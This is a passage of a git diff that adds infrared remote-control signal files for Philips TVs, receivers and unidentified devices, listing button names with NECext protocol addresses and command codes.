PRESET_TRACK- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: I-II +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir new file mode 100644 index 000000000..eca89c16c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir new file mode 100644 index 000000000..625d4c209 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir @@ -0,0 +1,404 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: TV_GUIDE_+_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TV_GUIDE_+_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: A/CH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: ALT._AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: TV_GUIDE_+_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: EXT._INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: DTV_FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir new file mode 100644 index 000000000..e6081c355 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_GUIDE_+_ON/OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 +# +name: TV_GUIDE_+_INFO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2D 00 00 00 +# +name: TV_GUIDE_+_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: ANALOG_TV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 76 00 00 00 +# +name: DTV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir new file mode 100644 index 000000000..91745f97f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SCREENPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: DECHEIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: INCHEIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: QUESTIONMARK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: TUNING-2BTNS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir new file mode 100644 index 000000000..8f2feb489 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0C 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0F 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: PROGPLUS +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: PROGMINUS +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 21 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 22 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 29 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 37 00 00 00 +# +name: REPEATAB +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 3B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 41 00 00 00 +# +name: TVDVD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4E 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 85 00 00 00 +# +name: TC +type: parsed +protocol: NECext +address: 30 00 00 00 +command: C8 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: CF 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: EE 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 30 00 00 00 +command: F7 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: FA 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir new file mode 100644 index 000000000..feeacb8b5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir new file mode 100644 index 000000000..f2e17185c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: audiodown +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 00 00 00 00 +# +name: int/ext +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 01 00 00 00 +# +name: dec +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 03 00 00 00 +# +name: mo/st +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 06 00 00 00 +# +name: audioup +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 11 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 15 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 17 00 00 00 +# +name: h/v +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 19 00 00 00 +# +name: dev +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1A 00 00 00 +# +name: p-aud +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir new file mode 100644 index 000000000..1c809be07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: TEXT_REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: TEXT_STOP_SEQUENCE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TEXT_CLOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: TEXT_ENLARGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: EXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TEXT_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: PICTURE_SETTINGS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: SOUND_SETTINGS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir new file mode 100644 index 000000000..b04cfe7e5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: 